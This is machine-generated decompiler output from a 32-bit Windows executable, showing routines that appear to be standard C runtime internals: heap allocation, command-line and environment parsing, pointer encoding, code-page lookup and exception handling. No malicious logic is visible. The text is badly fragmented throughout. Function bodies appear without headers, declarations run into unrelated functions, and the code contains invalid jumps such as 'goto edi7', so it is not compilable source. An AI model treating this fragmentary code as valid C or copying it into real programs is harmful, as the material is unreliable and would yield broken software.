*reinterpret_cast<void***>(esi6 + 20) != 0x19930520 && (*reinterpret_cast<void***>(esi6 + 20)
!= 0x19930521 && *reinterpret_cast<void***>(esi6 + 20) != 0x19930522)))) {
eax10 = fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
eax10->f10 = esi6;
esi11 = *reinterpret_cast<void***>(a2 + 4);
eax12 = fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
eax12->f14 = esi11;
fun_405c91(ecx, edi7, esi8, ebp9, __return_address(), a2, a3, a4, a5);
fun_403f56(ecx, edi7, esi8, ebp9, __return_address(), a2, a3);
goto edi7;
}
}
return 0;
}
struct s18* fun_403f56(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7)
{
struct s18* eax8;
int32_t eax9;
int1_t zf10;
int32_t eax11;
void** v12;
void** eax13;
void** esi14;
void** ebp15;
void** eax16;
void** eax17;
void** eax18;
eax8 = fun_403f64(ecx);
if (!eax8) {
eax9 = fun_408a71(ecx);
if (eax9) {
fun_408acc(ecx, 22, __return_address(), a2, a3, a4, a5, a6, a7);
ecx = reinterpret_cast<void**>(22);
}
zf10 = (g416040 & 2) == 0;
if (!zf10) {
eax11 = fun_40c86c(ecx, 23, __return_address(), a2, a3);
if (eax11) {
ecx = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx, 3, 0x40000015, 1, 23, __return_address(), a2, a3);
}
fun_40559b(ecx, 3);
if (__return_address() && (v12 = g417250, eax13 =
reinterpret_cast<void**>(HeapFree(ecx, v12, 0, __return_address())), !eax13)) {
eax16 = fun_4060e8(ecx, esi14, v12, 0, __return_address(), ebp15, 3,
__return_address(), a2, a3);
eax17 = reinterpret_cast<void**>(GetLastError(ecx));
eax18 = fun_40606f(ecx, eax17);
*reinterpret_cast<void***>(eax16) = eax18;
}
goto 3;
} else {
return eax8;
}
}
eax5 = image_base_;
if (eax5 != fun_403603 && ((ecx6 = g18, *reinterpret_cast<uint32_t*>(a1 + 0xc4) < ecx6->f8)
|| *reinterpret_cast<uint32_t*>(a1 + 0xc4) > ecx6->f4)) {
__asm__("int 0x29");
}
return;
}
RtlUnwind();
goto edi2;
}
struct s74 {
int32_t f0;
signed char[20] pad24;
int16_t f18;
};
v8 = reinterpret_cast<void**>(__return_address());
v9 = ebp10;
v11 = esi12;
if (!a2 || reinterpret_cast<unsigned char>(0xe0 / reinterpret_cast<unsigned char>(a2)) >=
reinterpret_cast<unsigned char>(a3)) {
esi13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(a2) *
reinterpret_cast<unsigned char>(a3));
if (!esi13) {
++esi13;
}
do {
v14 = g417250;
eax15 = reinterpret_cast<int32_t>(HeapAlloc(ecx, v14, 8, esi13));
if (eax15)
break;
eax16 = fun_4056fb(ecx, v14, 8, esi13, v11);
} while (eax16 && (eax17 = fun_4088ef(ecx, esi13, v14, 8, esi13, v11), ecx = esi13,
!!eax17));
goto addr_406c36_7;
} else {
addr_406c36_7:
eax18 = fun_4060e8(ecx, v11, v9, v8, a2, a3, a4, a5, a6, a7);
*reinterpret_cast<void***>(eax18) = reinterpret_cast<void**>(12);
goto addr_406c43_8;
}
addr_406c43_8:
goto v8;
}
int32_t fun_4042ec(void** ecx, int32_t a2, int32_t a3, int32_t* a4, int32_t* a5) {
int32_t* edi6;
int32_t eax7;
uint32_t eax8;
void** fun_4069e2(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** v12;
void** v13;
void** esi14;
void** eax15;
void** edi16;
void** ebx17;
void** eax18;
void** eax19;
void** v20;
void** eax21;
void** v22;
v12 = reinterpret_cast<void**>(__return_address());
v13 = esi14;
GetLastError(ecx);
eax15 = g416058;
if (eax15 == 0xffffffff)
goto addr_406a07_2;
eax18 = fun_4062be(ecx, eax15, edi16, v13, ebx17, v12);
if (eax18)
goto addr_406a58_4;
addr_406a07_2:
eax19 = fun_406be9(ecx, 1, 0x364, edi16, v13, ebx17, v12, a2);
ecx = reinterpret_cast<void**>(0x364);
if (eax19) {
v20 = g416058;
eax21 = fun_406314(0x364, v20, eax19);
if (eax21) {
fun_4067d0(0x364, eax19, 0x417244);
fun_406c46(0x364, 0, eax19, 0x7244, edi16, v13, ebx17, v12, a2, a3, a4, a5, a6, a7, a8,
a9);
if (eax19) {
addr_406a58_4:
SetLastError(ecx);
} else {
addr_406a4f_7:
SetLastError(ecx);
}
goto ebx17;
} else {
v22 = eax19;
}
} else {
v22 = reinterpret_cast<void**>(0);
}
fun_406c46(0x364, v22, edi16, v13, ebx17, v12, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
ecx = v22;
goto addr_406a4f_7;
}
uint32_t g416de8;
void** fun_405fb1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void*** ebp12;
uint32_t eax13;
void** v14;
void** esi15;
void** ebp16;
void** eax17;
uint32_t esi18;
void** v19;
uint32_t esi20;
void** v21;
void** ecx22;
void** v23;
void** v24;
void** v25;
void** eax26;
void** fun_4060fb(int32_t a1, void** a2, void*** a3, void*** a4, void** a5) {
void** v6;
void** edi7;
void*** ebx8;
uint32_t edx9;
void** ecx10;
void** esi11;
void** eax12;
void*** esi13;
void** eax14;
void** v15;
void** eax16;
void** eax17;
v6 = edi7;
ebx8 = reinterpret_cast<void***>(a1 * 4 + 0x416e40);
edx9 = g416004;
ecx10 = reinterpret_cast<void**>(edx9 & 31);
esi11 = reinterpret_cast<void**>(edx9 ^ reinterpret_cast<unsigned char>(*ebx8));
__asm__("ror esi, cl");
if (esi11 == 0xffffffff) {
addr_406190_2:
eax12 = reinterpret_cast<void**>(0);
} else {
if (!esi11) {
esi13 = a3;
if (esi13 == a4) {
addr_406151_5:
eax14 = reinterpret_cast<void**>(0);
goto addr_406153_6;
} else {
do {
v15 = *esi13;
eax14 = fun_406197(ecx10, v15);
ecx10 = v15;
if (eax14)
goto addr_406172_8;
esi13 = esi13 + 4;
} while (esi13 != a4);
goto addr_40614b_10;
}
} else {
addr_40612b_11:
eax12 = esi11;
}
}
return eax12;
addr_406153_6:
if (!eax14) {
addr_406180_13:
__asm__("ror edi, cl");
*ebx8 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(0xffffffff) ^ edx9);
goto addr_406190_2;
} else {
eax16 = reinterpret_cast<void**>(GetProcAddress(ecx10, eax14, a2));
esi11 = eax16;
if (!esi11) {
edx9 = g416004;
goto addr_406180_13;
} else {
eax17 = fun_404c5d(ecx10, esi11, eax14, a2, v6);
*ebx8 = eax17;
goto addr_40612b_11;
}
}
addr_406172_8:
edx9 = g416004;
goto addr_406153_6;
addr_40614b_10:
edx9 = g416004;
goto addr_406151_5;
}
void fun_404e57(void** a1, void** a2, void** a3, void** a4, int32_t* a5) {
void** ecx6;
void** edx7;
void** esi8;
int32_t ebx9;
int32_t* edi10;
uint32_t eax11;
int1_t zf12;
void** ebx13;
unsigned char v14;
uint32_t eax15;
uint32_t v16;
uint32_t eax17;
int1_t zf18;
int1_t zf19;
uint32_t eax20;
ecx6 = a1;
edx7 = a3;
esi8 = a2;
ebx9 = 0;
edi10 = a5;
*edi10 = 0;
*reinterpret_cast<void***>(a4) = reinterpret_cast<void**>(1);
if (esi8) {
*reinterpret_cast<void***>(esi8) = edx7;
esi8 = esi8 + 4;
a2 = esi8;
}
while (1) {
eax11 = 34;
do {
if (!reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6) == 34)) {
*edi10 = *edi10 + 1;
if (edx7) {
*reinterpret_cast<void***>(edx7) = *reinterpret_cast<void***>(ecx6);
edx7 = edx7 + 2;
}
eax11 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
ecx6 = ecx6 + 2;
if (!*reinterpret_cast<void***>(&eax11))
goto addr_404ee0_9;
} else {
*reinterpret_cast<unsigned char*>(&ebx9) =
reinterpret_cast<uint1_t>(*reinterpret_cast<unsigned char*>(&ebx9) == 0);
ecx6 = ecx6 + 2;
}
if (*reinterpret_cast<unsigned char*>(&ebx9))
break;
} while (*reinterpret_cast<void***>(&eax11) != 32 && (zf12 =
reinterpret_cast<int1_t>(*reinterpret_cast<void***>(&eax11) == 9), eax11 = 34, !zf12));
goto addr_404ed4_13;
}
addr_404ee0_9:
ecx6 = ecx6 - 2;
addr_404ee3_14:
ebx13 = a4;
v14 = 0;
while (*reinterpret_cast<void***>(ecx6)) {
while ((eax15 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6)),
*reinterpret_cast<void***>(&eax15) == 32) ||
reinterpret_cast<int1_t>(*reinterpret_cast<void***>(&eax15) == 9)) {
ecx6 = ecx6 + 2;
}
if (!*reinterpret_cast<void***>(ecx6))
break;
if (esi8) {
*reinterpret_cast<void***>(esi8) = edx7;
a2 = esi8 + 4;
}
*reinterpret_cast<void***>(ebx13) = *reinterpret_cast<void***>(ebx13) + 1;
while (1) {
v16 = 1;
eax17 = 0;
while (*reinterpret_cast<void***>(ecx6) == 92) {
ecx6 = ecx6 + 2;
++eax17;
}
zf18 = reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6) == 34);
if (zf18) {
if (!(*reinterpret_cast<unsigned char*>(&eax17) & 1)) {
if (!v14 || (zf19 = reinterpret_cast<int1_t>(*reinterpret_cast<void***>(ecx6 + 2) ==
34), !zf19)) {
v16 = 0;
v14 = reinterpret_cast<uint1_t>(v14 == 0);
} else {
ecx6 = ecx6 + 2;
}
}
edi10 = a5;
eax17 = eax17 >> 1;
}
while (eax17) {
--eax17;
if (edx7) {
*reinterpret_cast<void***>(edx7) = reinterpret_cast<void**>(92);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
eax20 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ecx6));
if (!*reinterpret_cast<void***>(&eax20))
break;
if (v14)
goto addr_404f9a_37;
if (*reinterpret_cast<void***>(&eax20) == 32)
break;
if (*reinterpret_cast<void***>(&eax20) == 9)
break;
addr_404f9a_37:
if (v16) {
if (edx7) {
*reinterpret_cast<void***>(edx7) = *reinterpret_cast<void***>(&eax20);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
ecx6 = ecx6 + 2;
}
esi8 = a2;
ebx13 = a4;
if (edx7) {
*reinterpret_cast<void***>(edx7) = reinterpret_cast<void**>(0);
edx7 = edx7 + 2;
}
*edi10 = *edi10 + 1;
}
if (esi8) {
*reinterpret_cast<void***>(esi8) = reinterpret_cast<void**>(0);
}
*reinterpret_cast<void***>(ebx13) = *reinterpret_cast<void***>(ebx13) + 1;
return;
addr_404ed4_13:
if (edx7) {
*reinterpret_cast<int16_t*>(edx7 + 0xfffffffe) = 0;
goto addr_404ee3_14;
}
}
void** fun_405091(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** ebp11;
void** ebp12;
void** v13;
void** v14;
void** ebx15;
void** ebx16;
void** v17;
void** edx18;
void** v19;
void** esi20;
void** v21;
void** edi22;
uint32_t eax23;
void** esi24;
void** ecx25;
void** edi26;
void** eax27;
void** edi28;
void** ecx29;
void** ecx30;
void** edx31;
void** eax32;
void** eax33;
void** ecx34;
void** eax35;
void** v36;
void** v37;
void** eax38;
void** v39;
void*** edi40;
void** v41;
v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
ebp12 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
v13 = ecx;
v14 = ebx15;
ebx16 = a2;
v17 = reinterpret_cast<void**>(0);
edx18 = reinterpret_cast<void**>(0);
v19 = esi20;
v21 = edi22;
eax23 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(ebx16));
esi24 = ebx16;
if (*reinterpret_cast<int16_t*>(&eax23)) {
do {
if (*reinterpret_cast<int16_t*>(&eax23) != 61) {
++edx18;
}
ecx25 = esi24;
edi26 = ecx25 + 2;
do {
ecx25 = ecx25 + 2;
} while (*reinterpret_cast<void***>(ecx25));
ecx = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx25) - reinterpret_cast<unsigned char>(edi26)) >> 1);
esi24 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esi24 +
reinterpret_cast<unsigned char>(ecx) * 2) + 2);
eax23 = reinterpret_cast<uint16_t>(*reinterpret_cast<void***>(esi24));
} while (*reinterpret_cast<int16_t*>(&eax23));
ebx16 = a2;
}
eax27 = fun_406be9(ecx, edx18 + 1, 4, v21, v19, v14, 0, v13);
edi28 = eax27;
ecx29 = reinterpret_cast<void**>(4);
if (!edi28) {
addr_40516c_10:
edi28 = reinterpret_cast<void**>(0);
} else {
v13 = edi28;
while (*reinterpret_cast<void***>(ebx16)) {
ecx30 = ebx16;
edx31 = ecx30 + 2;
do {
ecx30 = ecx30 + 2;
} while (*reinterpret_cast<void***>(ecx30));
eax32 = reinterpret_cast<void**>((reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx30) - reinterpret_cast<unsigned char>(edx31)) >> 1) + 1);
ecx29 = reinterpret_cast<void**>(61);
v17 = eax32;
if (*reinterpret_cast<void***>(ebx16) != 61) {
eax33 = fun_406be9(61, eax32, 2, v21, v19, v14, v17, v13);
ecx34 = reinterpret_cast<void**>(2);
if (!eax33)
goto addr_40515c_17;
eax35 = fun_406aad(2, eax33, v17, ebx16, v21, v19, v14);
if (eax35)
goto addr_40517e_19;
*reinterpret_cast<void***>(v13) = eax33;
v13 = v13 + 4;
fun_406c46(2, 0, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7, a8);
eax32 = v17;
ecx29 = reinterpret_cast<void**>(0);
}
ebx16 = ebx16 + reinterpret_cast<unsigned char>(eax32) * 2;
}
goto addr_40515a_22;
}
addr_40516e_23:
fun_406c46(ecx29, 0, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7, a8);
return edi28;
addr_40515a_22:
goto addr_40516e_23;
addr_40515c_17:
fun_40518b(2, edi28, v21, v19, v14, v17, v13, v10, v9, a2, a3);
fun_406c46(2, 0, edi28, v21, v19, v14, v17, v13, v10, v9, a2, a3, a4, a5, a6, a7);
ecx29 = edi28;
goto addr_40516c_10;
addr_40517e_19:
fun_40603c(2, 0, 0, 0, 0, 0);
v36 = ebp12;
v37 = eax33;
if (!1) {
eax38 = g0;
v39 = edi28;
edi40 = reinterpret_cast<void***>(0);
while (eax38) {
v41 = eax38;
fun_406c46(ecx34, v41, v39, v37, v36, 0, 0, 0, 0, 0, v21, v19, v14, v17, v13, v10);
edi40 = edi40 + 4;
eax38 = *edi40;
ecx34 = v41;
}
fun_406c46(ecx34, 0, v39, v37, v36, 0, 0, 0, 0, 0, v21, v19, v14, v17, v13, v10);
}
goto 0;
}
void fun_405787(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);
void fun_40cb00(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7) {
uint32_t ecx8;
int32_t ebp9;
uint32_t ebp10;
int32_t ebp11;
void*** esp12;
void* ebp13;
void** g41703c;
int32_t fun_4055ff(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;
int32_t g417038;
esi1 = g417038;
if (esi1) {
do {
DeleteCriticalSection();
--g417038;
--esi1;
} while (esi1);
}
return 1;
}
void** g416dc8;
void** fun_4056fb(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** eax6;
eax6 = g416dc8;
return eax6;
}
uint32_t fun_405948(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22) {
void** v23;
void** v24;
void** esi25;
void** esi26;
uint32_t eax27;
void** v28;
void** ebx29;
void** ebx30;
void** ecx31;
void** v32;
void** edi33;
void** ebx34;
void** edi35;
void** esi36;
void** v37;
void** eax38;
void** eax39;
void** ecx40;
void** v41;
void** eax42;
void** ecx43;
void** ecx44;
void** eax45;
uint32_t eax46;
void** eax47;
void** esi48;
void** edi49;
void** v50;
void** v51;
void** v52;
void** ebp53;
void** eax54;
void** v55;
void** v56;
void** v57;
void** v58;
void** eax59;
void** v60;
void** eax61;
uint32_t edx62;
int32_t edx63;
int32_t edx64;
uint32_t edx65;
int32_t edx66;
uint32_t v67;
void** edx68;
uint32_t eax69;
v23 = ecx;
v24 = esi25;
esi26 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx));
if (esi26) {
eax27 = g416004;
v28 = ebx29;
ebx30 = *reinterpret_cast<void***>(esi26);
ecx31 = reinterpret_cast<void**>(eax27 & 31);
v32 = edi33;
ebx34 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx30) ^ eax27);
edi35 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi26 + 4)) ^ eax27);
esi36 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi26 + 8)) ^ eax27);
__asm__("ror edi, cl");
__asm__("ror esi, cl");
__asm__("ror ebx, cl");
if (edi35 != esi36) {
addr_405a42_3:
v37 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(v23 + 4));
eax38 = fun_404c5d(ecx31, v37, v32, v28, v24);
*reinterpret_cast<void***>(edi35) = eax38;
eax39 = fun_404c5d(ecx31, ebx34, v37, v32, v28);
ecx40 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(v23));
*reinterpret_cast<void***>(ecx40) = eax39;
v41 = edi35 + 4;
eax42 = fun_404c5d(ecx40, v41, ebx34, v37, v32);
ecx43 = *reinterpret_cast<void***>(v23);
ecx44 = *reinterpret_cast<void***>(ecx43);
*reinterpret_cast<void***>(ecx44 + 4) = eax42;
eax45 = fun_404c5d(ecx44, esi36, v41, ebx34, v37);
*reinterpret_cast<void***>(*reinterpret_cast<void***>(*reinterpret_cast<void***>(v23)) +
8) = eax45;
eax46 = 0;
} else {
eax47 = reinterpret_cast<void**>(0x200);
esi48 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(esi36) - reinterpret_cast<unsigned char>(ebx34)) >> 2);
if (reinterpret_cast<unsigned char>(esi48) <= reinterpret_cast<unsigned char>(0x200)) {
eax47 = esi48;
}
edi49 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax47) +
reinterpret_cast<unsigned char>(esi48));
if (!edi49) {
edi49 = reinterpret_cast<void**>(32);
}
if (reinterpret_cast<unsigned char>(edi49) < reinterpret_cast<unsigned char>(esi48))
goto addr_4059c9_9;
v50 = edi49;
eax54 = fun_408778(ecx31, ebx34, v50, 4, v32, v28, v24, v51, v23, v52, ebp53,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22);
v55 = eax54;
fun_406c46(ecx31, 0, ebx34, v50, 4, v32, v28, v24, v56, v23, v55, ebp53,
__return_address(), a2, a3, a4);
ecx31 = v55;
if (ecx31)
goto addr_4059f1_11;
addr_4059c9_9:
edi49 = esi48 + 4;
v57 = edi49;
eax59 = fun_408778(ecx31, ebx34, v57, 4, v32, v28, v24, v58, v23, v55, ebp53,
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18,
a19, a20, a21, a22);
fun_406c46(ecx31, 0, ebx34, v57, 4, v32, v28, v24, v60, v23, eax59, ebp53,
__return_address(), a2, a3, a4);
ecx31 = eax59;
if (ecx31)
goto addr_4059f1_11; else
goto addr_4059e9_12;
}
} else {
eax46 = 0xffffffff;
goto addr_405a84_14;
}
addr_405a82_15:
addr_405a84_14:
return eax46;
addr_4059f1_11:
ebx34 = ecx31;
esi36 = ecx31 + reinterpret_cast<unsigned char>(edi49) * 4;
edi35 = ecx31 + reinterpret_cast<unsigned char>(esi48) * 4;
__asm__("ror eax, cl");
ecx31 = edi35;
eax61 = reinterpret_cast<void**>(g416004);
edx62 = ~(edx63 - (edx64 + reinterpret_cast<uint1_t>(edx65 < edx66 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(esi36) < reinterpret_cast<unsigned
char>(edi35))))) & reinterpret_cast<unsigned char>(esi36) - reinterpret_cast<unsigned
char>(edi35) + 3 >> 2;
v67 = edx62;
if (edx62) {
edx68 = eax61;
eax69 = 0;
do {
++eax69;
*reinterpret_cast<void***>(ecx31) = edx68;
ecx31 = ecx31 + 4;
} while (eax69 != v67);
goto addr_405a42_3;
}
addr_4059e9_12:
eax46 = 0xffffffff;
goto addr_405a82_15;
}
void** fun_406212(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void*** ebp6;
uint32_t eax7;
void** v8;
void** esi9;
void** eax10;
void** ebp11;
void** eax12;
void** fun_4064ad(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
void*** ebp10;
uint32_t eax11;
void** v12;
void** esi13;
void** eax14;
void** ebp15;
void** eax16;
struct s75 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s76 {
signed char[16] pad16;
void*** f10;
};
v2 = *ebp3->f10;
fun_407ada(v2);
return;
}
struct s77 {
signed char[8] pad8;
void*** f8;
};
struct s79 {
signed char[72] pad72;
void** f48;
};
struct s78 {
signed char[12] pad12;
struct s79*** fc;
};
void fun_40663c(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
void** v13;
struct s77* ebp14;
int32_t ebp15;
void** ecx16;
struct s78* ebp17;
int32_t ebp18;
struct s80 {
signed char[8] pad8;
void*** f8;
};
struct s81 {
signed char[12] pad12;
void**** fc;
};
void fun_40669d(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6) {
void** v7;
struct s80* ebp8;
int32_t ebp9;
void** v10;
struct s81* ebp11;
int32_t ebp12;
void fun_4066e8(void** ecx, void** a2, void* a3, void* a4, int32_t a5, int32_t a6);
uint32_t g417254;
void fun_40897c();
void** fun_407113(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26) {
void** esi27;
void** v28;
void** edi29;
void* edi30;
void** eax31;
void** ebx32;
void** v33;
void** ebx34;
void** esi35;
void** eax36;
void** esi37;
void** eax38;
void** eax39;
esi27 = ecx;
v28 = edi29;
if (*reinterpret_cast<void***>(esi27 + 4) == *reinterpret_cast<void***>(esi27 + 8)) {
if (*reinterpret_cast<void***>(esi27)) {
edi30 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi27 + 8)) - reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(esi27))) >> 2);
if (reinterpret_cast<uint32_t>(edi30) > 0x7fffffff) {
addr_407145_4:
eax31 = reinterpret_cast<void**>(12);
} else {
ebx32 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(edi30) +
reinterpret_cast<uint32_t>(edi30));
v33 = *reinterpret_cast<void***>(esi27);
eax36 = fun_408778(ecx, v33, ebx32, 4, ebx34, v28, esi35, __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23,
a24, a25, a26);
if (eax36) {
*reinterpret_cast<void***>(esi27) = eax36;
ecx = eax36 + reinterpret_cast<uint32_t>(edi30) * 4;
*reinterpret_cast<void***>(esi27 + 4) = ecx;
*reinterpret_cast<void***>(esi27 + 8) = eax36 + reinterpret_cast<unsigned
char>(ebx32) * 4;
esi37 = reinterpret_cast<void**>(0);
} else {
esi37 = reinterpret_cast<void**>(12);
}
fun_406c46(ecx, 0, ebx34, v28, esi35, __return_address(), a2, a3, a4, a5, a6, a7, a8,
a9, a10, a11);
eax31 = esi37;
}
} else {
eax38 = fun_406be9(ecx, 4, 4, v28, esi35, __return_address(), a2, a3);
*reinterpret_cast<void***>(esi27) = eax38;
fun_406c46(ecx, 0, 4, 4, v28, esi35, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10);
eax39 = *reinterpret_cast<void***>(esi27);
if (!eax39)
goto addr_407145_4;
*reinterpret_cast<void***>(esi27 + 4) = eax39;
*reinterpret_cast<void***>(esi27 + 8) = eax39 + 16;
goto addr_407121_11;
}
} else {
addr_407121_11:
eax31 = reinterpret_cast<void**>(0);
}
return eax31;
}
void fun_40925b(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7, void**
a8);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(0x80);
void** fun_405d20(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** v10;
void** ebp11;
int32_t eax12;
void** esi13;
void** edi14;
void** eax15;
void** edx16;
void** esi17;
void** ecx18;
void** v19;
void** eax20;
void** eax21;
void** eax22;
v9 = reinterpret_cast<void**>(__return_address());
v10 = ebp11;
*reinterpret_cast<void***>(ecx + 12) = reinterpret_cast<void**>(0);
if (!a2) {
eax12 = g416dc4;
if (eax12) {
eax15 = fun_40695e(a2, esi13, edi14, v10, v9, a2, a3, a4, a5, a6, a7, a8);
edx16 = ecx + 4;
*reinterpret_cast<void***>(ecx) = eax15;
esi17 = ecx + 8;
*reinterpret_cast<void***>(edx16) = *reinterpret_cast<void***>(eax15 + 76);
ecx18 = *reinterpret_cast<void***>(eax15 + 72);
*reinterpret_cast<void***>(esi17) = ecx18;
fun_40922e(eax15, edx16, esi13, edi14, v10);
v19 = *reinterpret_cast<void***>(ecx);
fun_40925b(v19, esi17, eax15, edx16, esi13, edi14, v10, v9);
eax20 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx) + 0x350);
if (!(*reinterpret_cast<unsigned char*>(&eax20) & 2)) {
*reinterpret_cast<void***>(*reinterpret_cast<void***>(ecx) + 0x350) =
reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax20) | 2);
*reinterpret_cast<void***>(ecx + 12) = reinterpret_cast<void**>(1);
}
} else {
eax21 = image_base_;
*reinterpret_cast<void***>(ecx + 4) = eax21;
eax22 = image_base_;
goto addr_405d53_6;
}
} else {
*reinterpret_cast<void***>(ecx + 4) = *reinterpret_cast<void***>(a2);
eax22 = *reinterpret_cast<void***>(a2 + 4);
goto addr_405d53_6;
}
addr_405d9c_8:
return ecx;
addr_405d53_6:
*reinterpret_cast<void***>(ecx + 8) = eax22;
goto addr_405d9c_8;
}
struct s82 {
signed char[8] pad8;
void** f8;
};
struct s83 {
signed char[848] pad848;
uint32_t f350;
};
v2 = reinterpret_cast<int32_t>(__return_address());
ecx3 = reinterpret_cast<void**>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 +
0xfffffff0);
fun_405d20(ecx3, 0, v4, v5, v6, v7, ebp8, *reinterpret_cast<void***>(&v2));
g416edc = reinterpret_cast<void**>(0);
eax9 = a1;
if (!reinterpret_cast<int1_t>(eax9 == 0xfffffffe)) {
if (!reinterpret_cast<int1_t>(eax9 == 0xfffffffd)) {
if (reinterpret_cast<int1_t>(eax9 == 0xfffffffc)) {
g416edc = reinterpret_cast<void**>(1);
eax9 = v10->f8;
}
} else {
g416edc = reinterpret_cast<void**>(1);
eax9 = reinterpret_cast<void**>(GetACP(ecx3));
}
} else {
g416edc = reinterpret_cast<void**>(1);
eax9 = reinterpret_cast<void**>(GetOEMCP(ecx3));
}
if (v11) {
v12->f350 = v12->f350 & 0xfffffffd;
}
return eax9;
}
struct s84 {
signed char[8] pad8;
void*** f8;
};
struct s85 {
signed char[12] pad12;
void** fc;
};
void fun_407210(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28);
void fun_4071a5(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25) {
void** v26;
struct s84* ebp27;
int32_t ebp28;
void** ecx29;
struct s85* ebp30;
int32_t ebp31;
fun_4038a0(ecx, 0x414a08, 8, __return_address());
v26 = *ebp27->f8;
fun_407a92(ecx, v26);
*reinterpret_cast<uint32_t*>(ebp28 - 4) = 0;
ecx29 = ebp30->fc;
fun_407210(ecx29, 0x414a08, 8, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11,
a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25);
*reinterpret_cast<int32_t*>(ebp31 - 4) = -2;
fun_4071dc(ecx29);
fun_4038f0(ecx29, 0x414a08, 8, __return_address(), a2);
goto 0x414a08;
}
void** g416ec8;
void** g416ecc;
void** g416ec4;
void** fun_407930(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34);
